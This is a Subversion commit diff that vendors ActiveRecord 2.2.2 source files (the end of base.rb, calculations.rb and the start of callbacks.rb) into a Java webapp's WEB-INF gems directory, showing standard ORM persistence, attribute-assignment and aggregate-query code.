+      #
+      # There's a series of callbacks associated with <tt>save!</tt>. If any of
+      # the <tt>before_*</tt> callbacks return +false+ the action is cancelled
+      # and <tt>save!</tt> raises ActiveRecord::RecordNotSaved. See
+      # ActiveRecord::Callbacks for further details. 
+      def save!
+        create_or_update || raise(RecordNotSaved)
+      end
+
+      # Deletes the record in the database and freezes this instance to reflect that no changes should
+      # be made (since they can't be persisted).
+      #
+      # Unlike #destroy, this method doesn't run any +before_delete+ and +after_delete+
+      # callbacks, nor will it enforce any association +:dependent+ rules.
+      # 
+      # In addition to deleting this record, any defined +before_delete+ and +after_delete+
+      # callbacks are run, and +:dependent+ rules defined on associations are run.
+      def delete
+        self.class.delete(id) unless new_record?
+        freeze
+      end
+
+      # Deletes the record in the database and freezes this instance to reflect that no changes should
+      # be made (since they can't be persisted).
+      def destroy
+        unless new_record?
+          connection.delete(
+            "DELETE FROM #{self.class.quoted_table_name} " +
+            "WHERE #{connection.quote_column_name(self.class.primary_key)} = #{quoted_id}",
+            "#{self.class.name} Destroy"
+          )
+        end
+
+        freeze
+      end
+
+      # Returns a clone of the record that hasn't been assigned an id yet and
+      # is treated as a new record.  Note that this is a "shallow" clone:
+      # it copies the object's attributes only, not its associations.
+      # The extent of a "deep" clone is application-specific and is therefore
+      # left to the application to implement according to its need.
+      def clone
+        attrs = clone_attributes(:read_attribute_before_type_cast)
+        attrs.delete(self.class.primary_key)
+        record = self.class.new
+        record.send :instance_variable_set, '@attributes', attrs
+        record
+      end
+
+      # Returns an instance of the specified +klass+ with the attributes of the current record. This is mostly useful in relation to
+      # single-table inheritance structures where you want a subclass to appear as the superclass. This can be used along with record
+      # identification in Action Pack to allow, say, <tt>Client < Company</tt> to do something like render <tt>:partial => @client.becomes(Company)</tt>
+      # to render that instance using the companies/company partial instead of clients/client.
+      #
+      # Note: The new instance will share a link to the same attributes as the original class. So any change to the attributes in either
+      # instance will affect the other.
+      def becomes(klass)
+        returning klass.new do |became|
+          became.instance_variable_set("@attributes", @attributes)
+          became.instance_variable_set("@attributes_cache", @attributes_cache)
+          became.instance_variable_set("@new_record", new_record?)
+        end
+      end
+
+      # Updates a single attribute and saves the record without going through the normal validation procedure.
+      # This is especially useful for boolean flags on existing records. The regular +update_attribute+ method
+      # in Base is replaced with this when the validations module is mixed in, which it is by default.
+      def update_attribute(name, value)
+        send(name.to_s + '=', value)
+        save(false)
+      end
+
+      # Updates all the attributes from the passed-in Hash and saves the record. If the object is invalid, the saving will
+      # fail and false will be returned.
+      def update_attributes(attributes)
+        self.attributes = attributes
+        save
+      end
+
+      # Updates an object just like Base.update_attributes but calls save! instead of save so an exception is raised if the record is invalid.
+      def update_attributes!(attributes)
+        self.attributes = attributes
+        save!
+      end
+
+      # Initializes +attribute+ to zero if +nil+ and adds the value passed as +by+ (default is 1).
+      # The increment is performed directly on the underlying attribute, no setter is invoked.
+      # Only makes sense for number-based attributes. Returns +self+.
+      def increment(attribute, by = 1)
+        self[attribute] ||= 0
+        self[attribute] += by
+        self
+      end
+
+      # Wrapper around +increment+ that saves the record. This method differs from
+      # its non-bang version in that it passes through the attribute setter.
+      # Saving is not subjected to validation checks. Returns +true+ if the
+      # record could be saved.
+      def increment!(attribute, by = 1)
+        increment(attribute, by).update_attribute(attribute, self[attribute])
+      end
+
+      # Initializes +attribute+ to zero if +nil+ and subtracts the value passed as +by+ (default is 1).
+      # The decrement is performed directly on the underlying attribute, no setter is invoked.
+      # Only makes sense for number-based attributes. Returns +self+.
+      def decrement(attribute, by = 1)
+        self[attribute] ||= 0
+        self[attribute] -= by
+        self
+      end
+
+      # Wrapper around +decrement+ that saves the record. This method differs from
+      # its non-bang version in that it passes through the attribute setter.
+      # Saving is not subjected to validation checks. Returns +true+ if the
+      # record could be saved.
+      def decrement!(attribute, by = 1)
+        decrement(attribute, by).update_attribute(attribute, self[attribute])
+      end
+
+      # Assigns to +attribute+ the boolean opposite of <tt>attribute?</tt>. So
+      # if the predicate returns +true+ the attribute will become +false+. This
+      # method toggles directly the underlying value without calling any setter.
+      # Returns +self+.
+      def toggle(attribute)
+        self[attribute] = !send("#{attribute}?")
+        self
+      end
+
+      # Wrapper around +toggle+ that saves the record. This method differs from
+      # its non-bang version in that it passes through the attribute setter.
+      # Saving is not subjected to validation checks. Returns +true+ if the
+      # record could be saved.
+      def toggle!(attribute)
+        toggle(attribute).update_attribute(attribute, self[attribute])
+      end
+
+      # Reloads the attributes of this object from the database.
+      # The optional options argument is passed to find when reloading so you
+      # may do e.g. record.reload(:lock => true) to reload the same record with
+      # an exclusive row lock.
+      def reload(options = nil)
+        clear_aggregation_cache
+        clear_association_cache
+        @attributes.update(self.class.find(self.id, options).instance_variable_get('@attributes'))
+        @attributes_cache = {}
+        self
+      end
+
+      # Returns the value of the attribute identified by <tt>attr_name</tt> after it has been typecast (for example,
+      # "2004-12-12" in a data column is cast to a date object, like Date.new(2004, 12, 12)).
+      # (Alias for the protected read_attribute method).
+      def [](attr_name)
+        read_attribute(attr_name)
+      end
+
+      # Updates the attribute identified by <tt>attr_name</tt> with the specified +value+.
+      # (Alias for the protected write_attribute method).
+      def []=(attr_name, value)
+        write_attribute(attr_name, value)
+      end
+
+      # Allows you to set all the attributes at once by passing in a hash with keys
+      # matching the attribute names (which again matches the column names).
+      #
+      # If +guard_protected_attributes+ is true (the default), then sensitive
+      # attributes can be protected from this form of mass-assignment by using
+      # the +attr_protected+ macro. Or you can alternatively specify which
+      # attributes *can* be accessed with the +attr_accessible+ macro. Then all the
+      # attributes not included in that won't be allowed to be mass-assigned.
+      #
+      #   class User < ActiveRecord::Base
+      #     attr_protected :is_admin
+      #   end
+      #   
+      #   user = User.new
+      #   user.attributes = { :username => 'Phusion', :is_admin => true }
+      #   user.username   # => "Phusion"
+      #   user.is_admin?  # => false
+      #   
+      #   user.send(:attributes=, { :username => 'Phusion', :is_admin => true }, false)
+      #   user.is_admin?  # => true
+      def attributes=(new_attributes, guard_protected_attributes = true)
+        return if new_attributes.nil?
+        attributes = new_attributes.dup
+        attributes.stringify_keys!
+
+        multi_parameter_attributes = []
+        attributes = remove_attributes_protected_from_mass_assignment(attributes) if guard_protected_attributes
+
+        attributes.each do |k, v|
+          if k.include?("(")
+            multi_parameter_attributes << [ k, v ]
+          else
+            respond_to?(:"#{k}=") ? send(:"#{k}=", v) : raise(UnknownAttributeError, "unknown attribute: #{k}")
+          end
+        end
+
+        assign_multiparameter_attributes(multi_parameter_attributes)
+      end
+
+
+      # Returns a hash of all the attributes with their names as keys and the values of the attributes as values.
+      def attributes
+        self.attribute_names.inject({}) do |attrs, name|
+          attrs[name] = read_attribute(name)
+          attrs
+        end
+      end
+
+      # Returns a hash of attributes before typecasting and deserialization.
+      def attributes_before_type_cast
+        self.attribute_names.inject({}) do |attrs, name|
+          attrs[name] = read_attribute_before_type_cast(name)
+          attrs
+        end
+      end
+
+      # Format attributes nicely for inspect.
+      def attribute_for_inspect(attr_name)
+        value = read_attribute(attr_name)
+
+        if value.is_a?(String) && value.length > 50
+          "#{value[0..50]}...".inspect
+        elsif value.is_a?(Date) || value.is_a?(Time)
+          %("#{value.to_s(:db)}")
+        else
+          value.inspect
+        end
+      end
+
+      # Returns true if the specified +attribute+ has been set by the user or by a database load and is neither
+      # nil nor empty? (the latter only applies to objects that respond to empty?, most notably Strings).
+      def attribute_present?(attribute)
+        value = read_attribute(attribute)
+        !value.blank?
+      end
+
+      # Returns true if the given attribute is in the attributes hash
+      def has_attribute?(attr_name)
+        @attributes.has_key?(attr_name.to_s)
+      end
+
+      # Returns an array of names for the attributes available on this object sorted alphabetically.
+      def attribute_names
+        @attributes.keys.sort
+      end
+
+      # Returns the column object for the named attribute.
+      def column_for_attribute(name)
+        self.class.columns_hash[name.to_s]
+      end
+
+      # Returns true if the +comparison_object+ is the same object, or is of the same type and has the same id.
+      def ==(comparison_object)
+        comparison_object.equal?(self) ||
+          (comparison_object.instance_of?(self.class) &&
+            comparison_object.id == id &&
+            !comparison_object.new_record?)
+      end
+
+      # Delegates to ==
+      def eql?(comparison_object)
+        self == (comparison_object)
+      end
+
+      # Delegates to id in order to allow two records of the same type and id to work with something like:
+      #   [ Person.find(1), Person.find(2), Person.find(3) ] & [ Person.find(1), Person.find(4) ] # => [ Person.find(1) ]
+      def hash
+        id.hash
+      end
+
+      # Freeze the attributes hash such that associations are still accessible, even on destroyed records.
+      def freeze
+        @attributes.freeze; self
+      end
+
+      # Returns +true+ if the attributes hash has been frozen.
+      def frozen?
+        @attributes.frozen?
+      end
+
+      # Returns +true+ if the record is read only. Records loaded through joins with piggy-back
+      # attributes will be marked as read only since they cannot be saved.
+      def readonly?
+        defined?(@readonly) && @readonly == true
+      end
+
+      # Marks this record as read only.
+      def readonly!
+        @readonly = true
+      end
+
+      # Returns the contents of the record as a nicely formatted string.
+      def inspect
+        attributes_as_nice_string = self.class.column_names.collect { |name|
+          if has_attribute?(name) || new_record?
+            "#{name}: #{attribute_for_inspect(name)}"
+          end
+        }.compact.join(", ")
+        "#<#{self.class} #{attributes_as_nice_string}>"
+      end
+
+    private
+      def create_or_update
+        raise ReadOnlyRecord if readonly?
+        result = new_record? ? create : update
+        result != false
+      end
+
+      # Updates the associated record with values matching those of the instance attributes.
+      # Returns the number of affected rows.
+      def update(attribute_names = @attributes.keys)
+        quoted_attributes = attributes_with_quotes(false, false, attribute_names)
+        return 0 if quoted_attributes.empty?
+        connection.update(
+          "UPDATE #{self.class.quoted_table_name} " +
+          "SET #{quoted_comma_pair_list(connection, quoted_attributes)} " +
+          "WHERE #{connection.quote_column_name(self.class.primary_key)} = #{quote_value(id)}",
+          "#{self.class.name} Update"
+        )
+      end
+
+      # Creates a record with values matching those of the instance attributes
+      # and returns its id.
+      def create
+        if self.id.nil? && connection.prefetch_primary_key?(self.class.table_name)
+          self.id = connection.next_sequence_value(self.class.sequence_name)
+        end
+
+        quoted_attributes = attributes_with_quotes
+
+        statement = if quoted_attributes.empty?
+          connection.empty_insert_statement(self.class.table_name)
+        else
+          "INSERT INTO #{self.class.quoted_table_name} " +
+          "(#{quoted_column_names.join(', ')}) " +
+          "VALUES(#{quoted_attributes.values.join(', ')})"
+        end
+
+        self.id = connection.insert(statement, "#{self.class.name} Create",
+          self.class.primary_key, self.id, self.class.sequence_name)
+
+        @new_record = false
+        id
+      end
+
+      # Sets the attribute used for single table inheritance to this class name if this is not the ActiveRecord::Base descendent.
+      # Considering the hierarchy Reply < Message < ActiveRecord::Base, this makes it possible to do Reply.new without having to
+      # set <tt>Reply[Reply.inheritance_column] = "Reply"</tt> yourself. No such attribute would be set for objects of the
+      # Message class in that example.
+      def ensure_proper_type
+        unless self.class.descends_from_active_record?
+          write_attribute(self.class.inheritance_column, self.class.sti_name)
+        end
+      end
+
+      def convert_number_column_value(value)
+        if value == false
+          0
+        elsif value == true
+          1
+        elsif value.is_a?(String) && value.blank?
+          nil
+        else
+          value
+        end
+      end
+
+      def remove_attributes_protected_from_mass_assignment(attributes)
+        safe_attributes =
+          if self.class.accessible_attributes.nil? && self.class.protected_attributes.nil?
+            attributes.reject { |key, value| attributes_protected_by_default.include?(key.gsub(/\(.+/, "")) }
+          elsif self.class.protected_attributes.nil?
+            attributes.reject { |key, value| !self.class.accessible_attributes.include?(key.gsub(/\(.+/, "")) || attributes_protected_by_default.include?(key.gsub(/\(.+/, "")) }
+          elsif self.class.accessible_attributes.nil?
+            attributes.reject { |key, value| self.class.protected_attributes.include?(key.gsub(/\(.+/,"")) || attributes_protected_by_default.include?(key.gsub(/\(.+/, "")) }
+          else
+            raise "Declare either attr_protected or attr_accessible for #{self.class}, but not both."
+          end
+
+        removed_attributes = attributes.keys - safe_attributes.keys
+
+        if removed_attributes.any?
+          log_protected_attribute_removal(removed_attributes)
+        end
+
+        safe_attributes
+      end
+
+      # Removes attributes which have been marked as readonly.
+      def remove_readonly_attributes(attributes)
+        unless self.class.readonly_attributes.nil?
+          attributes.delete_if { |key, value| self.class.readonly_attributes.include?(key.gsub(/\(.+/,"")) }
+        else
+          attributes
+        end
+      end
+
+      def log_protected_attribute_removal(*attributes)
+        logger.debug "WARNING: Can't mass-assign these protected attributes: #{attributes.join(', ')}"
+      end
+
+      # The primary key and inheritance column can never be set by mass-assignment for security reasons.
+      def attributes_protected_by_default
+        default = [ self.class.primary_key, self.class.inheritance_column ]
+        default << 'id' unless self.class.primary_key.eql? 'id'
+        default
+      end
+
+      # Returns a copy of the attributes hash where all the values have been safely quoted for use in
+      # an SQL statement.
+      def attributes_with_quotes(include_primary_key = true, include_readonly_attributes = true, attribute_names = @attributes.keys)
+        quoted = {}
+        connection = self.class.connection
+        attribute_names.each do |name|
+          if (column = column_for_attribute(name)) && (include_primary_key || !column.primary)
+            value = read_attribute(name)
+
+            # We need explicit to_yaml because quote() does not properly convert Time/Date fields to YAML.
+            if value && self.class.serialized_attributes.has_key?(name) && (value.acts_like?(:date) || value.acts_like?(:time))
+              value = value.to_yaml
+            end
+
+            quoted[name] = connection.quote(value, column)
+          end
+        end
+        include_readonly_attributes ? quoted : remove_readonly_attributes(quoted)
+      end
+
+      # Quote strings appropriately for SQL statements.
+      def quote_value(value, column = nil)
+        self.class.connection.quote(value, column)
+      end
+
+      # Interpolate custom SQL string in instance context.
+      # Optional record argument is meant for custom insert_sql.
+      def interpolate_sql(sql, record = nil)
+        instance_eval("%@#{sql.gsub('@', '\@')}@")
+      end
+
+      # Initializes the attributes array with keys matching the columns from the linked table and
+      # the values matching the corresponding default value of that column, so
+      # that a new instance, or one populated from a passed-in Hash, still has all the attributes
+      # that instances loaded from the database would.
+      def attributes_from_column_definition
+        self.class.columns.inject({}) do |attributes, column|
+          attributes[column.name] = column.default unless column.name == self.class.primary_key
+          attributes
+        end
+      end
+
+      # Instantiates objects for all attribute classes that needs more than one constructor parameter. This is done
+      # by calling new on the column type or aggregation type (through composed_of) object with these parameters.
+      # So having the pairs written_on(1) = "2004", written_on(2) = "6", written_on(3) = "24", will instantiate
+      # written_on (a date type) with Date.new("2004", "6", "24"). You can also specify a typecast character in the
+      # parentheses to have the parameters typecasted before they're used in the constructor. Use i for Fixnum, f for Float,
+      # s for String, and a for Array. If all the values for a given attribute are empty, the attribute will be set to nil.
+      def assign_multiparameter_attributes(pairs)
+        execute_callstack_for_multiparameter_attributes(
+          extract_callstack_for_multiparameter_attributes(pairs)
+        )
+      end
+
+      def instantiate_time_object(name, values)
+        if self.class.send(:create_time_zone_conversion_attribute?, name, column_for_attribute(name))
+          Time.zone.local(*values)
+        else
+          Time.time_with_datetime_fallback(@@default_timezone, *values)
+        end
+      end
+
+      def execute_callstack_for_multiparameter_attributes(callstack)
+        errors = []
+        callstack.each do |name, values|
+          klass = (self.class.reflect_on_aggregation(name.to_sym) || column_for_attribute(name)).klass
+          if values.empty?
+            send(name + "=", nil)
+          else
+            begin
+              value = if Time == klass
+                instantiate_time_object(name, values)
+              elsif Date == klass
+                begin
+                  Date.new(*values)
+                rescue ArgumentError => ex # if Date.new raises an exception on an invalid date
+                  instantiate_time_object(name, values).to_date # we instantiate Time object and convert it back to a date thus using Time's logic in handling invalid dates
+                end
+              else
+                klass.new(*values)
+              end
+
+              send(name + "=", value)
+            rescue => ex
+              errors << AttributeAssignmentError.new("error on assignment #{values.inspect} to #{name}", ex, name)
+            end
+          end
+        end
+        unless errors.empty?
+          raise MultiparameterAssignmentErrors.new(errors), "#{errors.size} error(s) on assignment of multiparameter attributes"
+        end
+      end
+
+      def extract_callstack_for_multiparameter_attributes(pairs)
+        attributes = { }
+
+        for pair in pairs
+          multiparameter_name, value = pair
+          attribute_name = multiparameter_name.split("(").first
+          attributes[attribute_name] = [] unless attributes.include?(attribute_name)
+
+          unless value.empty?
+            attributes[attribute_name] <<
+              [ find_parameter_position(multiparameter_name), type_cast_attribute_value(multiparameter_name, value) ]
+          end
+        end
+
+        attributes.each { |name, values| attributes[name] = values.sort_by{ |v| v.first }.collect { |v| v.last } }
+      end
+
+      def type_cast_attribute_value(multiparameter_name, value)
+        multiparameter_name =~ /\([0-9]*([a-z])\)/ ? value.send("to_" + $1) : value
+      end
+
+      def find_parameter_position(multiparameter_name)
+        multiparameter_name.scan(/\(([0-9]*).*\)/).first.first
+      end
+
+      # Returns a comma-separated pair list, like "key1 = val1, key2 = val2".
+      def comma_pair_list(hash)
+        hash.inject([]) { |list, pair| list << "#{pair.first} = #{pair.last}" }.join(", ")
+      end
+
+      def quoted_column_names(attributes = attributes_with_quotes)
+        connection = self.class.connection
+        attributes.keys.collect do |column_name|
+          connection.quote_column_name(column_name)
+        end
+      end
+
+      def self.quoted_table_name
+        self.connection.quote_table_name(self.table_name)
+      end
+
+      def quote_columns(quoter, hash)
+        hash.inject({}) do |quoted, (name, value)|
+          quoted[quoter.quote_column_name(name)] = value
+          quoted
+        end
+      end
+
+      def quoted_comma_pair_list(quoter, hash)
+        comma_pair_list(quote_columns(quoter, hash))
+      end
+
+      def object_from_yaml(string)
+        return string unless string.is_a?(String) && string =~ /^---/
+        YAML::load(string) rescue string
+      end
+
+      def clone_attributes(reader_method = :read_attribute, attributes = {})
+        self.attribute_names.inject(attributes) do |attrs, name|
+          attrs[name] = clone_attribute_value(reader_method, name)
+          attrs
+        end
+      end
+
+      def clone_attribute_value(reader_method, attribute_name)
+        value = send(reader_method, attribute_name)
+        value.duplicable? ? value.clone : value
+      rescue TypeError, NoMethodError
+        value
+      end
+  end
+end


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/base.rb
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/calculations.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/calculations.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/calculations.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,299 @@
+module ActiveRecord
+  module Calculations #:nodoc:
+    CALCULATIONS_OPTIONS = [:conditions, :joins, :order, :select, :group, :having, :distinct, :limit, :offset, :include, :from]
+    def self.included(base)
+      base.extend(ClassMethods)
+    end
+
+    module ClassMethods
+      # Count operates using three different approaches.
+      #
+      # * Count all: By not passing any parameters to count, it will return a count of all the rows for the model.
+      # * Count using column: By passing a column name to count, it will return a count of all the rows for the model with supplied column present
+      # * Count using options will find the row count matched by the options used.
+      #
+      # The third approach, count using options, accepts an option hash as the only parameter. The options are:
+      #
+      # * <tt>:conditions</tt>: An SQL fragment like "administrator = 1" or [ "user_name = ?", username ]. See conditions in the intro to ActiveRecord::Base.
+      # * <tt>:joins</tt>: Either an SQL fragment for additional joins like "LEFT JOIN comments ON comments.post_id = id" (rarely needed)
+      #   or named associations in the same form used for the <tt>:include</tt> option, which will perform an INNER JOIN on the associated table(s).
+      #   If the value is a string, then the records will be returned read-only since they will have attributes that do not correspond to the table's columns.
+      #   Pass <tt>:readonly => false</tt> to override.
+      # * <tt>:include</tt>: Named associations that should be loaded alongside using LEFT OUTER JOINs. The symbols named refer
+      #   to already defined associations. When using named associations, count returns the number of DISTINCT items for the model you're counting.
+      #   See eager loading under Associations.
+      # * <tt>:order</tt>: An SQL fragment like "created_at DESC, name" (really only used with GROUP BY calculations).
+      # * <tt>:group</tt>: An attribute name by which the result should be grouped. Uses the GROUP BY SQL-clause.
+      # * <tt>:select</tt>: By default, this is * as in SELECT * FROM, but can be changed if you, for example, want to do a join but not
+      #   include the joined columns.
+      # * <tt>:distinct</tt>: Set this to true to make this a distinct calculation, such as SELECT COUNT(DISTINCT posts.id) ...
+      # * <tt>:from</tt> - By default, this is the table name of the class, but can be changed to an alternate table name (or even the name
+      #   of a database view).
+      #
+      # Examples for counting all:
+      #   Person.count         # returns the total count of all people
+      #
+      # Examples for counting by column:
+      #   Person.count(:age)  # returns the total count of all people whose age is present in database
+      #
+      # Examples for count with options:
+      #   Person.count(:conditions => "age > 26")
+      #   Person.count(:conditions => "age > 26 AND job.salary > 60000", :include => :job) # because of the named association, it finds the DISTINCT count using LEFT OUTER JOIN.
+      #   Person.count(:conditions => "age > 26 AND job.salary > 60000", :joins => "LEFT JOIN jobs on jobs.person_id = person.id") # finds the number of rows matching the conditions and joins.
+      #   Person.count('id', :conditions => "age > 26") # Performs a COUNT(id)
+      #   Person.count(:all, :conditions => "age > 26") # Performs a COUNT(*) (:all is an alias for '*')
+      #
+      # Note: <tt>Person.count(:all)</tt> will not work because it will use <tt>:all</tt> as the condition.  Use Person.count instead.
+      def count(*args)
+        calculate(:count, *construct_count_options_from_args(*args))
+      end
+
+      # Calculates the average value on a given column.  The value is returned as a float.  See +calculate+ for examples with options.
+      #
+      #   Person.average('age')
+      def average(column_name, options = {})
+        calculate(:avg, column_name, options)
+      end
+
+      # Calculates the minimum value on a given column.  The value is returned with the same data type of the column.  See +calculate+ for examples with options.
+      #
+      #   Person.minimum('age')
+      def minimum(column_name, options = {})
+        calculate(:min, column_name, options)
+      end
+
+      # Calculates the maximum value on a given column.  The value is returned with the same data type of the column.  See +calculate+ for examples with options.
+      #
+      #   Person.maximum('age')
+      def maximum(column_name, options = {})
+        calculate(:max, column_name, options)
+      end
+
+      # Calculates the sum of values on a given column.  The value is returned with the same data type of the column.  See +calculate+ for examples with options.
+      #
+      #   Person.sum('age')
+      def sum(column_name, options = {})
+        calculate(:sum, column_name, options)
+      end
+
+      # This calculates aggregate values in the given column.  Methods for count, sum, average, minimum, and maximum have been added as shortcuts.
+      # Options such as <tt>:conditions</tt>, <tt>:order</tt>, <tt>:group</tt>, <tt>:having</tt>, and <tt>:joins</tt> can be passed to customize the query.
+      #
+      # There are two basic forms of output:
+      #   * Single aggregate value: The single value is type cast to Fixnum for COUNT, Float for AVG, and the given column's type for everything else.
+      #   * Grouped values: This returns an ordered hash of the values and groups them by the <tt>:group</tt> option.  It takes either a column name, or the name
+      #     of a belongs_to association.
+      #
+      #       values = Person.maximum(:age, :group => 'last_name')
+      #       puts values["Drake"]
+      #       => 43
+      #
+      #       drake  = Family.find_by_last_name('Drake')
+      #       values = Person.maximum(:age, :group => :family) # Person belongs_to :family
+      #       puts values[drake]
+      #       => 43
+      #
+      #       values.each do |family, max_age|
+      #       ...
+      #       end
+      #
+      # Options:
+      # * <tt>:conditions</tt> - An SQL fragment like "administrator = 1" or [ "user_name = ?", username ]. See conditions in the intro to ActiveRecord::Base.
+      # * <tt>:include</tt>: Eager loading, see Associations for details.  Since calculations don't load anything, the purpose of this is to access fields on joined tables in your conditions, order, or group clauses.
+      # * <tt>:joins</tt> - An SQL fragment for additional joins like "LEFT JOIN comments ON comments.post_id = id". (Rarely needed).
+      #   The records will be returned read-only since they will have attributes that do not correspond to the table's columns.
+      # * <tt>:order</tt> - An SQL fragment like "created_at DESC, name" (really only used with GROUP BY calculations).
+      # * <tt>:group</tt> - An attribute name by which the result should be grouped. Uses the GROUP BY SQL-clause.
+      # * <tt>:select</tt> - By default, this is * as in SELECT * FROM, but can be changed if you for example want to do a join, but not
+      #   include the joined columns.
+      # * <tt>:distinct</tt> - Set this to true to make this a distinct calculation, such as SELECT COUNT(DISTINCT posts.id) ...
+      #
+      # Examples:
+      #   Person.calculate(:count, :all) # The same as Person.count
+      #   Person.average(:age) # SELECT AVG(age) FROM people...
+      #   Person.minimum(:age, :conditions => ['last_name != ?', 'Drake']) # Selects the minimum age for everyone with a last name other than 'Drake'
+      #   Person.minimum(:age, :having => 'min(age) > 17', :group => :last_name) # Selects the minimum age for any family without any minors
+      #   Person.sum("2 * age")
+      def calculate(operation, column_name, options = {})
+        validate_calculation_options(operation, options)
+        column_name     = options[:select] if options[:select]
+        column_name     = '*' if column_name == :all
+        column          = column_for column_name
+        catch :invalid_query do
+          if options[:group]
+            return execute_grouped_calculation(operation, column_name, column, options)
+          else
+            return execute_simple_calculation(operation, column_name, column, options)
+          end
+        end
+        0
+      end
+
+      protected
+        def construct_count_options_from_args(*args)
+          options     = {}
+          column_name = :all
+          
+          # We need to handle
+          #   count()
+          #   count(:column_name=:all)
+          #   count(options={})
+          #   count(column_name=:all, options={})
+          case args.size
+          when 1
+            args[0].is_a?(Hash) ? options = args[0] : column_name = args[0]
+          when 2
+            column_name, options = args
+          else
+            raise ArgumentError, "Unexpected parameters passed to count(): #{args.inspect}"
+          end if args.size > 0
+          
+          [column_name, options]
+        end
+
+        def construct_calculation_sql(operation, column_name, options) #:nodoc:
+          operation = operation.to_s.downcase
+          options = options.symbolize_keys
+
+          scope           = scope(:find)
+          merged_includes = merge_includes(scope ? scope[:include] : [], options[:include])
+          aggregate_alias = column_alias_for(operation, column_name)
+          column_name     = "#{connection.quote_table_name(table_name)}.#{column_name}" if column_names.include?(column_name.to_s)
+
+          if operation == 'count'
+            if merged_includes.any?
+              options[:distinct] = true
+              column_name = options[:select] || [connection.quote_table_name(table_name), primary_key] * '.'
+            end
+
+            if options[:distinct]
+              use_workaround = !connection.supports_count_distinct?
+            end
+          end
+
+          if options[:distinct] && column_name.to_s !~ /\s*DISTINCT\s+/i
+            distinct = 'DISTINCT ' 
+          end
+          sql = "SELECT #{operation}(#{distinct}#{column_name}) AS #{aggregate_alias}"
+
+          # A (slower) workaround if we're using a backend, like sqlite, that doesn't support COUNT DISTINCT.
+          sql = "SELECT COUNT(*) AS #{aggregate_alias}" if use_workaround
+
+          sql << ", #{options[:group_field]} AS #{options[:group_alias]}" if options[:group]
+          if options[:from]
+            sql << " FROM #{options[:from]} "
+          else
+            sql << " FROM (SELECT #{distinct}#{column_name}" if use_workaround
+            sql << " FROM #{connection.quote_table_name(table_name)} "
+          end
+
+          joins = ""
+          add_joins!(joins, options[:joins], scope)
+
+          if merged_includes.any?
+            join_dependency = ActiveRecord::Associations::ClassMethods::JoinDependency.new(self, merged_includes, joins)
+            sql << join_dependency.join_associations.collect{|join| join.association_join }.join
+          end
+
+          sql << joins unless joins.blank?
+
+          add_conditions!(sql, options[:conditions], scope)
+          add_limited_ids_condition!(sql, options, join_dependency) if join_dependency && !using_limitable_reflections?(join_dependency.reflections) && ((scope && scope[:limit]) || options[:limit])
+
+          if options[:group]
+            group_key = connection.adapter_name == 'FrontBase' ?  :group_alias : :group_field
+            sql << " GROUP BY #{options[group_key]} "
+          end
+
+          if options[:group] && options[:having]
+            # FrontBase requires identifiers in the HAVING clause and chokes on function calls
+            if connection.adapter_name == 'FrontBase'
+              options[:having].downcase!
+              options[:having].gsub!(/#{operation}\s*\(\s*#{column_name}\s*\)/, aggregate_alias)
+            end
+
+            sql << " HAVING #{options[:having]} "
+          end
+
+          sql << " ORDER BY #{options[:order]} "       if options[:order]
+          add_limit!(sql, options, scope)
+          sql << ") #{aggregate_alias}_subquery" if use_workaround
+          sql
+        end
+
+        def execute_simple_calculation(operation, column_name, column, options) #:nodoc:
+          value = connection.select_value(construct_calculation_sql(operation, column_name, options))
+          type_cast_calculated_value(value, column, operation)
+        end
+
+        def execute_grouped_calculation(operation, column_name, column, options) #:nodoc:
+          group_attr      = options[:group].to_s
+          association     = reflect_on_association(group_attr.to_sym)
+          associated      = association && association.macro == :belongs_to # only count belongs_to associations
+          group_field     = associated ? association.primary_key_name : group_attr
+          group_alias     = column_alias_for(group_field)
+          group_column    = column_for group_field
+          sql             = construct_calculation_sql(operation, column_name, options.merge(:group_field => group_field, :group_alias => group_alias))
+          calculated_data = connection.select_all(sql)
+          aggregate_alias = column_alias_for(operation, column_name)
+
+          if association
+            key_ids     = calculated_data.collect { |row| row[group_alias] }
+            key_records = association.klass.base_class.find(key_ids)
+            key_records = key_records.inject({}) { |hsh, r| hsh.merge(r.id => r) }
+          end
+
+          calculated_data.inject(ActiveSupport::OrderedHash.new) do |all, row|
+            key   = type_cast_calculated_value(row[group_alias], group_column)
+            key   = key_records[key] if associated
+            value = row[aggregate_alias]
+            all[key] = type_cast_calculated_value(value, column, operation)
+            all
+          end
+        end
+
+      private
+        def validate_calculation_options(operation, options = {})
+          options.assert_valid_keys(CALCULATIONS_OPTIONS)
+        end
+
+        # Converts the given keys to the value that the database adapter returns as
+        # a usable column name:
+        #
+        #   column_alias_for("users.id")                 # => "users_id"
+        #   column_alias_for("sum(id)")                  # => "sum_id"
+        #   column_alias_for("count(distinct users.id)") # => "count_distinct_users_id"
+        #   column_alias_for("count(*)")                 # => "count_all"
+        #   column_alias_for("count", "id")              # => "count_id"
+        def column_alias_for(*keys)
+          table_name = keys.join(' ')
+          table_name.downcase!
+          table_name.gsub!(/\*/, 'all')
+          table_name.gsub!(/\W+/, ' ')
+          table_name.strip!
+          table_name.gsub!(/ +/, '_')
+
+          connection.table_alias_for(table_name)
+        end
+
+        def column_for(field)
+          field_name = field.to_s.split('.').last
+          columns.detect { |c| c.name.to_s == field_name }
+        end
+
+        def type_cast_calculated_value(value, column, operation = nil)
+          operation = operation.to_s.downcase
+          case operation
+            when 'count' then value.to_i
+            when 'sum'   then type_cast_using_column(value || '0', column)
+            when 'avg'   then value && (value.is_a?(Fixnum) ? value.to_f : value).to_d
+            else type_cast_using_column(value, column)
+          end
+        end
+
+        def type_cast_using_column(value, column)
+          column ? column.type_cast(value) : value
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/callbacks.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/callbacks.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/callbacks.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,331 @@
+require 'observer'
+
